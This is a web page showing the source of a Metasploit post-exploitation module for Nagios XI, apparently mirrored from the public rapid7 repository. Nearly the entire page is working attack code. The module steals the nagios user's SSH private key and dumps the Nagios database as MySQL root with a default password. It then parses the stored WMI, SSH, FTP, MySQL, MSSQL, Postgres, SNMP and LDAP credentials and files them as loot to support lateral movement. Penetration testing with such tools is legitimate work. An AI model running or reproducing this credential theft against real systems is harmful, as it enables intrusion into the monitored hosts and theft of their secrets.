CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/enum_nagios_xi.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Linux::System
8
include Msf::Exploit::FileDropper
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
{
15
'Name' => 'Nagios XI Enumeration',
16
'Description' => %q{
17
NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,
18
creating opportunities for lateral movement.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Cale Smith', # @0xC413
23
],
24
'DisclosureDate' => '2018-04-17',
25
'Platform' => 'linux',
26
'SessionTypes' => ['shell', 'meterpreter']
27
}
28
)
29
)
30
register_options([
31
OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])
32
])
33
end
34
35
# save found creds in the MSF DB for easy use
36
# , login)
37
def report_obj(cred, login)
38
return if cred.nil? || login.nil?
39
40
credential_data = {
41
origin_type: :session,
42
post_reference_name: fullname,
43
session_id: session_db_id,
44
workspace_id: myworkspace_id
45
}.merge(cred)
46
credential_core = create_credential(credential_data)
47
48
login_data = {
49
core: credential_core,
50
workspace_id: myworkspace_id
51
}.merge(login)
52
53
create_credential_login(login_data)
54
end
55
56
# parse out domain realm for windows services
57
def parse_realm(username)
58
userealm = username.split('/')
59
60
if userealm.count > 1
61
realm = userealm[0]
62
username = userealm[1]
63
64
credential_data = {
65
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
66
realm_value: realm,
67
username: username
68
}
69
else
70
credential_data = {
71
username: username
72
}
73
74
end
75
76
return credential_data
77
end
78
79
def run
80
@peer = "#{session.session_host}:#{session.session_port}"
81
82
@creds = []
83
@ssh_keys = []
84
85
# get nagios SSH private key
86
id_rsa_path = '/home/nagios/.ssh/id_rsa'
87
if file?(id_rsa_path)
88
print_good('Attempting to grab Nagios SSH key')
89
ssh_key = read_file(id_rsa_path)
90
ssh_key_loot = store_loot(
91
'nagios_ssh_priv_key',
92
'text/plain',
93
session,
94
ssh_key,
95
nil
96
)
97
print_status("Nagios SSH key stored in #{ssh_key_loot}")
98
else
99
print_status('No SSH key found')
100
end
101
102
print_status('Attempting to dump Nagios DB')
103
db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"
104
105
sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")
106
sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |
107
sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )
108
sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )
109
sql_query << %(WHERE nagios_services.check_command_object_id!=89 )
110
sql_query << %(ORDER BY nagios_services.check_command_object_id )
111
sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")
112
113
out = cmd_exec(sql_query)
114
if out.match(/error/i)
115
print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")
116
return
117
else
118
db_dump = read_file(db_dump_file)
119
print_good('Nagios DB dump successful')
120
# store raw db results, there is likely good stuff in here that we don't parse out
121
db_loot = store_loot(
122
'nagiosxi_raw_db_dump',
123
'text/plain',
124
session,
125
db_dump,
126
nil
127
)
128
print_status("Raw Nagios DB dump #{db_loot}")
129
print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")
130
end
131
132
CSV.parse(db_dump) do |row|
133
case row[0]
134
when '110' # WMI
135
host = row[1]
136
creds = row[2].split('!')
137
username = creds[0].match(/'(.*?)'/)[1]
138
password = creds[1].match(/'(.*?)'/)[1]
139
140
user_credential_data = parse_realm(username)
141
142
credential_data = {
143
private_data: password,
144
private_type: :password
145
}.merge(user_credential_data)
146
147
login_data = {
148
address: host,
149
port: 135,
150
service_name: 'WMI',
151
protocol: 'tcp'
152
}
153
154
when '59' # SSH
155
host = row[1]
156
157
credential_data = {
158
username: 'nagios',
159
private_data: ssh_key,
160
private_type: :ssh_key
161
}
162
163
login_data = {
164
address: host,
165
port: 22,
166
service_name: 'SSH',
167
protocol: 'tcp'
168
}
169
170
when '25' # FTP
171
host = row[1]
172
creds = row[2].split('!')
173
username = creds[0]
174
password = creds[1]
175
176
credential_data = {
177
username: username,
178
private_data: password,
179
private_type: :password
180
}
181
182
login_data = {
183
address: host,
184
port: 21,
185
service_name: 'FTP',
186
protocol: 'tcp'
187
}
188
189
when '67' # MYSQL
190
host = row[1]
191
username = row[2].match(/--username=(.*?)\s/)[1]
192
password = row[2].match(/--password=%22(.*?)%22/)[1]
193
194
credential_data = {
195
username: username,
196
private_data: password,
197
private_type: :password
198
}
199
200
login_data = {
201
address: host,
202
port: 3306,
203
service_name: 'MySQL',
204
protocol: 'tcp'
205
}
206
207
when '66' # MSSQL
208
host = row[1]
209
username = row[2].match(/-U '(.*?)'/)[1]
210
password = row[2].match(/-P '(.*?)'/)[1]
211
212
user_credential_data = parse_realm(username)
213
credential_data = {
214
private_data: password,
215
private_type: :password
216
}.merge(user_credential_data)
217
218
login_data = {
219
address: host,
220
port: 1433,
221
service_name: 'MSSQL',
222
protocol: 'tcp'
223
}
224
225
when '76' # POSTGRES
226
host = row[1]
227
username = row[2].match(/--dbuser=(.*?)\s/)[1]
228
password = row[2].match(/--dbpass=%22(.*?)%22/)[1]
229
230
credential_data = {
231
username: username,
232
private_data: password,
233
private_type: :password
234
}
235
236
login_data = {
237
address: host,
238
port: 5432,
239
service_name: 'PostgreSQL',
240
protocol: 'tcp'
241
}
242
243
when '85' # SNMP
244
host = row[1]
245
creds = row[2].split('!')
246
password = ' '
247
username = creds[0]
248
port = 161
249
250
credential_data = {
251
username: username,
252
private_data: password,
253
private_type: :password
254
}
255
256
login_data = {
257
address: host,
258
port: 161,
259
service_name: 'SNMP',
260
protocol: 'udp'
261
}
262
263
when '88' # LDAP
264
host = row[1]
265
username = row[2].match(/-D %22(.*?)%22/)[1]
266
password = row[2].match(/-P %22(.*?)%22/)[1]
267
268
credential_data = {
269
username: username,
270
private_data: password,
271
private_type: :password
272
}
273
274
login_data = {
275
address: host,
276
port: 389,
277
service_name: 'LDAP',
278
protocol: 'tcp'
279
}
280
else
281
# base case
282
end
283
unless credential_data.nil? || login_data.nil?
284
report_obj(credential_data, login_data)
285
end
286
end
287
288
print_status("Run 'creds' to see credentials loaded into the MSF DB")
289
290
# cleanup db dump
291
register_file_for_cleanup(db_dump_file)
292
end
293
end
294
295